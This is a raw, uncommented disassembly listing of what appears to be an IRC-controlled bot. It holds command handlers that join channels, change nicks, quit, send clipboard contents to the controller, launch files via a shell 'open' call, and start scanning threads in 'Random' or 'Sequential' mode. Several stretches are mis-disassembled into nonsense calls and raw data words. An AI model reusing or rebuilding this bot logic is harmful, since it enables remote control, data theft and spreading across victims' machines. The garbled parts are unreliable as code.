		push	edi
		push	eax
		call	sub_416D20
		mov	esi, [ebp+esi-8Ch]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4113C9
		push	7Fh
		lea	eax, [ebp-674h]
		push	esi
		push	eax
		call	sub_416D20
		add	esp, 0Ch


loc_4113C9:				; CODE XREF: seg000:004113B5j
		push	7Fh
		lea	eax, [ebp-5F4h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_416D20
		mov	eax, [ebp+0Ch]
		push	edi
		mov	[ebp-6F8h], eax
		mov	eax, [ebp-8]
		mov	[ebp-570h], eax
		mov	eax, [ebp-4]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-2C8h]
		push	offset dword_434154
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	14h
		push	eax
		call	sub_414F79
		add	esp, 24h
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-6F8h]
		push	ebx
		push	eax
		push	offset sub_40AE2F
		push	ebx
		push	ebx
		call	near ptr 2E3BB7EBh
		mov	al, 8Bh
		lea	ecx, [edx+edi*8-36960001h]
		xor	al, 2
; ---------------------------------------------------------------------------
		db 2 dup(0), 3Bh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_411467


loc_411451:				; CODE XREF: seg000:00411465j
		cmp	[ebp-568h], ebx
		jnz	loc_4124BC
		push	32h
		call	ds:dword_421060
		jmp	short loc_411451
; ---------------------------------------------------------------------------


loc_411467:				; CODE XREF: seg000:0041144Fj
		call	ds:dword_421088
		push	eax
		push	offset unk_434104
		jmp	loc_4124AD
; ---------------------------------------------------------------------------


loc_411478:				; CODE XREF: seg000:0040E900j
					; seg000:0040E917j
		push	ebx
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	edi
		call	loc_406394
		push	edi
		push	offset dword_4340DC
		jmp	loc_410F0F
; ---------------------------------------------------------------------------


loc_411493:				; CODE XREF: seg000:0040E8D2j
					; seg000:0040E8E9j
		push	14h
		lea	eax, [ebp-710h]
		push	ebx
		push	eax
		call	sub_415550
		push	edi
		lea	eax, [ebp-6FCh]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154CD
		mov	eax, [ebp+0Ch]
		mov	[ebp-718h], eax
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-5F8h]
		push	80h
		push	eax
		call	sub_415A4A
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-5F8h]
		push	eax
		lea	eax, [ebp-6FCh]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_4340A4
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	12h
		push	eax
		call	sub_414F79
		add	esp, 40h
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-718h]
		push	ebx
		push	eax
		push	offset loc_40B6F6
		push	ebx
		push	ebx
		call	near ptr 359C1AE3h
		mov	ch, 8Bh
		lea	ecx, [edx+edi*8-36960001h]
		xor	al, 2
; ---------------------------------------------------------------------------
		db 2 dup(0), 3Bh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_411563


loc_41154D:				; CODE XREF: seg000:00411561j
		cmp	[ebp-568h], ebx
		jnz	loc_412834
		push	32h
		call	ds:dword_421060
		jmp	short loc_41154D
; ---------------------------------------------------------------------------


loc_411563:				; CODE XREF: seg000:0041154Bj
		call	ds:dword_421088
		push	eax
		push	offset dword_436340
		jmp	loc_412825
; ---------------------------------------------------------------------------


loc_411574:				; CODE XREF: seg000:0040E8A4j
					; seg000:0040E8BBj
		push	edi
		call	near ptr 0F648709Bh
		repne test eax,	eax
		jz	short loc_411587
		push	edi
		push	offset dword_434074
		jmp	short loc_411592
; ---------------------------------------------------------------------------


loc_411587:				; CODE XREF: seg000:0041157Dj
		push	offset dword_4347B4
		call	sub_409BEC
		push	eax


loc_411592:				; CODE XREF: seg000:00411585j
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 10h
		jmp	loc_40EF6A
; ---------------------------------------------------------------------------


loc_4115AB:				; CODE XREF: seg000:0040E876j
					; seg000:0040E88Dj
		push	edi
		call	sub_415A3F
		push	eax
		call	sub_414047
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_4115C8
		push	offset dword_43403C
		jmp	short loc_4115CD
; ---------------------------------------------------------------------------


loc_4115C8:				; CODE XREF: seg000:004115BFj
		push	offset dword_433FF4


loc_4115CD:				; CODE XREF: seg000:004115C6j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	loc_40EF8E
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h
		jmp	loc_40EF8E
; ---------------------------------------------------------------------------


loc_411606:				; CODE XREF: seg000:0040E848j
					; seg000:0040E85Fj
		push	ebx
		push	ebx
		push	edi
		push	dword ptr [ebp-4]
		push	ebx
		push	dword ptr [ebp+0Ch]
		call	sub_413DB8
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_411628
		push	offset dword_433FBC
		jmp	loc_41284F
; ---------------------------------------------------------------------------


loc_411628:				; CODE XREF: seg000:0041161Cj
		push	offset dword_433F78
		jmp	loc_41284F
; ---------------------------------------------------------------------------


loc_411632:				; CODE XREF: seg000:0040E81Aj
					; seg000:0040E831j
		push	edi
		call	ds:dword_43A3A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	short loc_41166F
		push	2
		lea	eax, [ebp+8]
		push	4
		push	eax
		call	ds:dword_43A320
		cmp	eax, ebx
		jz	short loc_41168A
		push	dword ptr [eax]


loc_411655:				; CODE XREF: seg000:00411688j
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_433F48
		push	eax
		call	sub_4154CD
		add	esp, 10h
		jmp	loc_40F6F7
; ---------------------------------------------------------------------------


loc_41166F:				; CODE XREF: seg000:0041163Fj
		push	edi
		call	ds:dword_43A3EC
		cmp	eax, ebx
		jz	short loc_41168A
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	ds:dword_43A3F4
		push	eax
		jmp	short loc_411655
; ---------------------------------------------------------------------------


loc_41168A:				; CODE XREF: seg000:00411651j
					; seg000:00411678j
		push	offset dword_433F0C
		jmp	near ptr loc_410B21+4
; ---------------------------------------------------------------------------


loc_411694:				; CODE XREF: seg000:0040E7ECj
					; seg000:0040E803j
		push	7Fh
		push	edi
		push	dword ptr [ebp+1Ch]
		call	sub_416D20
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset dword_433ED4
		push	eax
		call	sub_4154CD
		add	esp, 18h
		jmp	loc_40ECA7
; ---------------------------------------------------------------------------


loc_4116B9:				; CODE XREF: seg000:0040E7BEj
					; seg000:0040E7D5j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_43A2DC
		test	eax, eax
		push	edi
		jz	short loc_4116D9
		push	offset unk_433EA4
		jmp	loc_41284F
; ---------------------------------------------------------------------------


loc_4116D9:				; CODE XREF: seg000:004116CDj
		push	offset unk_433E6C
		jmp	loc_41284F
; ---------------------------------------------------------------------------


loc_4116E3:				; CODE XREF: seg000:0040E790j
					; seg000:0040E7A7j
		mov	al, [edi]
		mov	ds:byte_42C164,	al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_433E34
		jmp	loc_40EC98
; ---------------------------------------------------------------------------


loc_4116F8:				; CODE XREF: seg000:0040E762j
					; seg000:0040E779j
		push	edi
		call	sub_415A3F
		test	eax, eax
		pop	ecx
		jle	loc_412974
		push	edi
		call	sub_415A3F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412974
		push	ebx
		push	ebx
		lea	eax, [ebp-0A4h]
		push	2
		push	eax
		call	sub_414419
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_4344F8
		push	eax
		call	sub_4154CD
		add	esp, 1Ch
		jmp	loc_410E59
; ---------------------------------------------------------------------------


loc_411743:				; CODE XREF: seg000:0040E734j
					; seg000:0040E74Bj
		push	edi
		call	sub_415A3F
		test	eax, eax
		pop	ecx
		jle	loc_40D1FD
		push	edi
		call	sub_415A3F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40D1FD
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F504[eax]
		call	sub_412CEC
		pop	ecx
		pop	ecx
		push	1F4h
		call	ds:dword_421060
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F504[eax]
		call	ds:dword_43A400
		push	dword ptr [ebp-10h]
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43F50C[eax]
		call	near ptr 0F1F5C2BCh
		std
		push	edi
		call	sub_415A3F
		imul	eax, 234h
		push	edi
		mov	ds:dword_43F50C[eax], ebx
		call	sub_415A3F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr ds:dword_43F2F8[eax], bl
		jmp	loc_40D1FD
; ---------------------------------------------------------------------------


loc_4117EE:				; CODE XREF: seg000:0040E706j
					; seg000:0040E71Dj
		push	edi
		push	offset aAll	; "all"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41181D
		call	sub_415142
		cmp	eax, ebx
		jle	short loc_411813
		push	eax
		push	offset dword_433DE4
		jmp	loc_40F786
; ---------------------------------------------------------------------------


loc_411813:				; CODE XREF: seg000:00411806j
		push	offset dword_433DA8
		jmp	loc_412012
; ---------------------------------------------------------------------------


loc_41181D:				; CODE XREF: seg000:004117FDj
		mov	eax, [ebp-0ACh]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40D1FD
		lea	eax, [ebp+edi*4-94h]
		mov	[ebp+2Ch], eax


loc_411839:				; CODE XREF: seg000:004118AAj
		mov	eax, [ebp+2Ch]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40D1FD
		push	esi
		call	sub_415A3F
		push	eax
		call	sub_4150B4
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_411860
		push	offset dword_433D70
		jmp	short loc_411865
; ---------------------------------------------------------------------------


loc_411860:				; CODE XREF: seg000:00411857j
		push	offset dword_433D30


loc_411865:				; CODE XREF: seg000:0041185Ej
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_411895
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h


loc_411895:				; CODE XREF: seg000:00411877j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B151
		add	dword ptr [ebp+2Ch], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_411839
		jmp	loc_40D1FD
; ---------------------------------------------------------------------------


loc_4118B1:				; CODE XREF: seg000:0040E6D8j
					; seg000:0040E6EFj
		cmp	[ebp-0Ch], ebx
		jz	loc_412974
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_412974
		push	esi
		push	offset dword_425050
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	esi
		push	offset dword_433D04
		jmp	loc_41103B
; ---------------------------------------------------------------------------


loc_4118E8:				; CODE XREF: seg000:0040E6AAj
					; seg000:0040E6C1j
		push	edi
		push	offset dword_434418
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	edi
		push	offset dword_433CD0
		jmp	loc_41103B
; ---------------------------------------------------------------------------


loc_411901:				; CODE XREF: seg000:0040E67Cj
					; seg000:0040E693j
		push	dword ptr [ebp+esi-8Ch]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	edi
		push	offset dword_433C9C
		jmp	loc_410F0F
; ---------------------------------------------------------------------------


loc_411921:				; CODE XREF: seg000:0040E64Ej
					; seg000:0040E665j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_412CEC
		push	edi
		push	offset dword_433C64
		jmp	loc_41103B
; ---------------------------------------------------------------------------


loc_41193A:				; CODE XREF: seg000:0040E613j
					; seg000:0040E628j
		mov	al, ds:byte_42766A
		mov	[ebp+8], ebx
		cmp	al, bl
		mov	edx, offset byte_42766A
		jz	loc_40D1FD
		mov	ecx, edx


loc_411951:				; CODE XREF: seg000:00411959j
		inc	dword ptr [ebp+8]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_411951
		cmp	al, bl
		jz	loc_40D1FD
		mov	[ebp+20h], edx


loc_411966:				; CODE XREF: seg000:00411C24j
		push	8
		call	sub_4151C1
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	dword ptr [ebp+8]
		add	eax, ecx
		cmp	eax, 12Ch
		jle	short loc_4119B5
		push	ecx
		lea	eax, [ebp-2C8h]
		push	offset dword_434DB8
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 20h
		jmp	loc_411C1B
; ---------------------------------------------------------------------------


loc_4119B5:				; CODE XREF: seg000:00411980j
		or	dword ptr [ebp-300h], 0FFFFFFFFh
		cmp	ds:dword_427300, ebx
		mov	dword ptr [ebp-304h], 64h
		mov	dword ptr [ebp-318h], 5
		mov	dword ptr [ebp-314h], 1F4h
		mov	[ebp+8], ebx
		jz	short loc_411A26
		mov	eax, [ebp+20h]
		mov	edi, offset dword_427300
		lea	esi, [eax-0Ah]


loc_4119F0:				; CODE XREF: seg000:00411A08j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411A0C
		inc	dword ptr [ebp+8]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_4119F0
		jmp	short loc_411A26
; ---------------------------------------------------------------------------


loc_411A0C:				; CODE XREF: seg000:004119FEj
		mov	eax, [ebp+8]
		mov	ecx, eax
		mov	[ebp-300h], eax
		imul	ecx, 3Ch
		mov	ecx, ds:dword_427300[ecx]
		mov	[ebp-31Ch], ecx


loc_411A26:				; CODE XREF: seg000:004119E3j
					; seg000:00411A0Aj
		cmp	[ebp-31Ch], ebx
		jz	loc_411C2F
		push	10h
		lea	eax, [ebp+18h]
		pop	esi
		push	eax
		lea	eax, [ebp-2D8h]
		push	eax
		mov	[ebp+18h], esi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A30C
		mov	al, [ebp-9B3h]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-2D4h], eax
		push	dword ptr [ebp-2D4h]
		call	ds:dword_43A3F4
		push	eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_416D20
		xor	eax, eax
		cmp	[ebp-9B3h], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_417020
		add	esp, 14h
		cmp	edi, ebx
		mov	[ebp+2Fh], bl
		jle	short loc_411AC8


loc_411AA6:				; CODE XREF: seg000:00411AC6j
		cmp	eax, ebx
		jz	short loc_411AC8
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-430h]
		push	30h
		push	eax
		call	sub_417020
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_411AA6


loc_411AC8:				; CODE XREF: seg000:00411AA4j
					; seg000:00411AA8j
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp-4]
		mov	[ebp-320h], eax
		mov	eax, [ebp-8]
		mov	edi, 80h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-420h]
		push	edi
		push	eax
		mov	dword ptr [ebp-2F0h], 1
		mov	[ebp-2F8h], esi
		call	sub_415A4A
		push	offset byte_438F8C
		push	offset aJv_0	; "#jv"
		call	sub_4158F0
		add	esp, 14h
		test	eax, eax
		jz	short loc_411B32
		push	offset aJv_0	; "#jv"
		lea	eax, [ebp-3A0h]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 0Ch
		jmp	short loc_411B38
; ---------------------------------------------------------------------------


loc_411B32:				; CODE XREF: seg000:00411B19j
		mov	[ebp-3A0h], bl


loc_411B38:				; CODE XREF: seg000:00411B30j
		cmp	[ebp-2F0h], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_411B4A
		mov	eax, offset aSequential	; "Sequential"


loc_411B4A:				; CODE XREF: seg000:00411B43j
		push	dword ptr [ebp-304h]
		lea	ecx, [ebp-430h]
		push	dword ptr [ebp-314h]
		push	dword ptr [ebp-318h]
		push	dword ptr [ebp-31Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_433BE8
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	8
		push	eax
		call	sub_414F79
		add	esp, 2Ch
		mov	[ebp-310h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-430h]
		push	ebx
		push	eax
		push	offset loc_407983
		push	ebx
		push	ebx
		call	near ptr 31B5EBCEh
		das
		mov	ecx, [ebp-310h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_411BD4


loc_411BC2:				; CODE XREF: seg000:00411BD2j
		cmp	[ebp-2ECh], ebx
		jnz	short loc_411BEF
		push	32h
		call	ds:dword_421060
		jmp	short loc_411BC2
; ---------------------------------------------------------------------------


loc_411BD4:				; CODE XREF: seg000:00411BC0j
		call	ds:dword_421088
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_434C94
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_411BEF:				; CODE XREF: seg000:00411BC8j
		cmp	[ebp-8], ebx
		jnz	short loc_411C0E
		push	ebx
		lea	eax, [ebp-2C8h]
		push	esi
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h


loc_411C0E:				; CODE XREF: seg000:00411BF2j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B151
		pop	ecx


loc_411C1B:				; CODE XREF: seg000:004119B0j
		add	dword ptr [ebp+20h], 0Bh
		mov	eax, [ebp+20h]
		cmp	[eax], bl
		jnz	loc_411966
		jmp	loc_40D1FD
; ---------------------------------------------------------------------------


loc_411C2F:				; CODE XREF: seg000:0040FE13j
					; seg000:00411A2Cj
		push	offset dword_433B9C
		jmp	loc_412012
; ---------------------------------------------------------------------------


loc_411C39:				; CODE XREF: seg000:0040E5E9j
					; seg000:0040E5FEj
		push	4
		call	sub_4151C1
		test	eax, eax
		pop	ecx
		jle	short loc_411C4F
		push	offset unk_433B68
		jmp	loc_40EB8B
; ---------------------------------------------------------------------------


loc_411C4F:				; CODE XREF: seg000:00411C43j
		mov	eax, [ebp+esi-90h]
		cmp	eax, ebx
		jz	short loc_411C72
		push	eax
		mov	edi, 104h
		lea	eax, [ebp-804h]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 0Ch
		jmp	short near ptr loc_411C85+1
; ---------------------------------------------------------------------------


loc_411C72:				; CODE XREF: seg000:00411C58j
		mov	edi, 104h
		lea	eax, [ebp-804h]
		push	edi
		push	eax
		push	ebx
		call	near ptr 0EF109F8Fh


loc_411C85:				; CODE XREF: seg000:00411C70j
		or	[ebx-8BCA4Ch], cl
; ---------------------------------------------------------------------------
		db 0FFh
		dd 75F33BFFh, 0C1B8BE05h, 8D560042h, 0FFF90085h, 0E85057FFh
		dd 3DA6h, 42C150A1h, 0FF7F6A00h, 0FFFF74B5h, 0C8589FFh
		dd 8BFFFFFAh, 9D890C45h, 0FFFFFA08h, 0F7F88589h, 858DFFFFh
		dd 0FFFFFA10h, 504EE850h, 458B0000h, 908589FCh,	8BFFFFFAh
		dd 8589F845h, 0FFFFFA94h, 0F900858Dh, 8D50FFFFh, 0FFF7FC85h
		dd 858D50FFh, 0FFFFFD38h, 0FA0CB5FFh, 0BC68FFFFh, 50004278h
		dd 37C4E8h, 858D5300h, 0FFFFFD38h, 0E850046Ah, 3261h, 8938C483h
		dd 0FFFA0485h, 0F0458DFFh, 0F8858D50h, 53FFFFF7h, 6C226850h
		dd 53530040h, 19ED9DE8h, 8D8BBFE5h, 0FFFFFA04h,	234C969h
		dd 0C33B0000h, 0F50C8189h, 16740043h, 0FA989D39h, 850FFFFFh
		dd 0FFFFCF4Bh, 15FF326Ah, 421060h, 15FFEAEBh, 421088h
		dd 3B1C6850h, 21E90043h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_411D77:				; CODE XREF: seg000:0040E5BFj
					; seg000:0040E5D4j
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	short loc_411D96
		push	edi
		call	sub_415A3F
		test	eax, eax
		pop	ecx
		jz	short loc_411D96
		push	edi
		call	sub_415A3F
		pop	ecx
		jmp	short loc_411D9B
; ---------------------------------------------------------------------------


loc_411D96:				; CODE XREF: seg000:00411D80j
					; seg000:00411D8Bj
		mov	eax, ds:dword_42C154


loc_411D9B:				; CODE XREF: seg000:00411D94j
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-584h], eax
		xor	eax, eax
		cmp	[ebp-9B0h], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp-570h], eax
		jz	short loc_411DCE
		lea	eax, [ebp-688h]
		push	esi
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		jmp	short loc_411DF9
; ---------------------------------------------------------------------------


loc_411DCE:				; CODE XREF: seg000:00411DBBj
		lea	eax, [ebp-3E8h]
		push	104h
		push	eax
		call	near ptr 7355A31Fh
		das
		push	ebx
		push	ebx
		lea	eax, [ebp-2D4h]
		push	ebx
		push	eax
		lea	eax, [ebp-3E8h]
		push	eax
		call	sub_417328
		add	esp, 14h


loc_411DF9:				; CODE XREF: seg000:00411DCCj
		lea	eax, [ebp-688h]
		push	eax
		call	sub_415CD0
		cmp	byte ptr [ebp+eax-689h], 5Ch
		pop	ecx
		jnz	short loc_411E24
		lea	eax, [ebp-688h]
		push	eax
		call	sub_415CD0
		pop	ecx
		mov	[ebp+eax-689h],	bl


loc_411E24:				; CODE XREF: seg000:00411E0Ej
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-910h]
		mov	[ebp-914h], esi
		push	80h
		push	eax
		call	sub_415A4A
		mov	eax, [ebp-8]
		mov	edi, [ebp-4]
		add	esp, 0Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-688h]
		mov	[ebp-578h], edi
		push	eax
		push	dword ptr [ebp-584h]
		push	esi
		call	sub_40A155
		pop	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset unk_42778C
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	3
		push	eax
		call	sub_414F79
		add	esp, 20h
		mov	[ebp-57Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-914h]
		push	ebx
		push	eax
		push	offset loc_405B07
		push	ebx
		push	ebx
		call	near ptr 2435E95Ah
		daa
		mov	ecx, [ebp-57Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F50C[ecx], eax
		jz	short loc_411ED8


loc_411EC6:				; CODE XREF: seg000:00411ED6j
		cmp	[ebp-568h], ebx
		jnz	short loc_411EF3
		push	32h
		call	ds:dword_421060
		jmp	short loc_411EC6
; ---------------------------------------------------------------------------


loc_411ED8:				; CODE XREF: seg000:00411EC4j
		call	ds:dword_421088
		push	eax
		push	offset unk_433AD0


loc_411EE4:				; CODE XREF: seg000:00410427j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_411EF3:				; CODE XREF: seg000:0041040Bj
					; seg000:00411ECCj
		cmp	[ebp-8], ebx
		jnz	loc_412834
		push	ebx
		push	edi


loc_411EFE:				; CODE XREF: seg000:0040FBD9j
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	esi
		jmp	loc_40F7B2
; ---------------------------------------------------------------------------


loc_411F11:				; CODE XREF: seg000:0040E595j
					; seg000:0040E5AAj
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_411F24
		push	esi
		call	sub_415A3F
		jmp	short loc_411F2B
; ---------------------------------------------------------------------------


loc_411F24:				; CODE XREF: seg000:00411F1Aj
		push	8
		call	sub_4151E0


loc_411F2B:				; CODE XREF: seg000:00411F22j
		cmp	eax, ebx
		pop	ecx
		jz	loc_412974
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4071E3


loc_411F46:				; CODE XREF: seg000:004123D2j
		add	esp, 10h
		jmp	loc_412974
; ---------------------------------------------------------------------------


loc_411F4E:				; CODE XREF: seg000:0040E56Bj
					; seg000:0040E580j
		mov	eax, ds:dword_43A290
		cmp	eax, ebx
		jz	short loc_411F6B
		call	eax
		test	eax, eax
		jz	short loc_411F64
		push	offset unk_433A98
		jmp	short loc_411F80
; ---------------------------------------------------------------------------


loc_411F64:				; CODE XREF: seg000:00411F5Bj
		push	offset unk_433A58
		jmp	short loc_411F80
; ---------------------------------------------------------------------------


loc_411F6B:				; CODE XREF: seg000:00411F55j
		push	offset unk_433A18
		jmp	short loc_411F80
; ---------------------------------------------------------------------------


loc_411F72:				; CODE XREF: seg000:0040E541j
					; seg000:0040E556j
		call	sub_40A077
		test	eax, eax
		jz	short loc_411F96
		push	offset unk_4339E0


loc_411F80:				; CODE XREF: seg000:00411F62j
					; seg000:00411F69j ...
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A4A
		jmp	loc_41285B
; ---------------------------------------------------------------------------


loc_411F96:				; CODE XREF: seg000:00411F79j
		push	offset unk_4339A0
		jmp	short loc_411F80
; ---------------------------------------------------------------------------


loc_411F9D:				; CODE XREF: seg000:0040E517j
					; seg000:0040E52Cj
		cmp	[ebp-8], ebx
		jnz	short loc_411FBC
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h


loc_411FBC:				; CODE XREF: seg000:00411FA0j
		push	ebx
		push	dword ptr [ebp-4]
		call	sub_409C76
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		push	offset dword_43395C
		jmp	loc_4122A4
; ---------------------------------------------------------------------------


loc_411FDE:				; CODE XREF: seg000:0040E437j
					; seg000:0040E44Cj
		push	7
		call	sub_4151C1
		test	eax, eax
		pop	ecx
		jle	short loc_411FF1
		push	offset dword_433920
		jmp	short loc_412012
; ---------------------------------------------------------------------------


loc_411FF1:				; CODE XREF: seg000:00411FE8j
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40A7E1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41200D
		push	offset dword_4338E4
		jmp	short loc_412012
; ---------------------------------------------------------------------------


loc_41200D:				; CODE XREF: seg000:00412004j
		push	offset dword_4338B0


loc_412012:				; CODE XREF: seg000:0040F976j
					; seg000:0040FAA6j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		jmp	loc_40F795
; ---------------------------------------------------------------------------


loc_412025:				; CODE XREF: seg000:0040E40Dj
					; seg000:0040E422j
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_409663
		jmp	loc_40D1FA
; ---------------------------------------------------------------------------


loc_41203E:				; CODE XREF: seg000:0040E3E3j
					; seg000:0040E3F8j
		push	dword ptr [ebp+esi-90h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40C4F9
		jmp	loc_40D1FA
; ---------------------------------------------------------------------------


loc_41205B:				; CODE XREF: seg000:0040E3B9j
					; seg000:0040E3CEj
		or	edi, 0FFFFFFFFh
		call	ds:dword_42104C
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		mov	[ebp+8], eax
		jz	short loc_412084
		push	esi
		call	sub_415A3F
		pop	ecx
		mov	edi, eax


loc_412084:				; CODE XREF: seg000:00412079j
		mov	eax, [ebp+8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
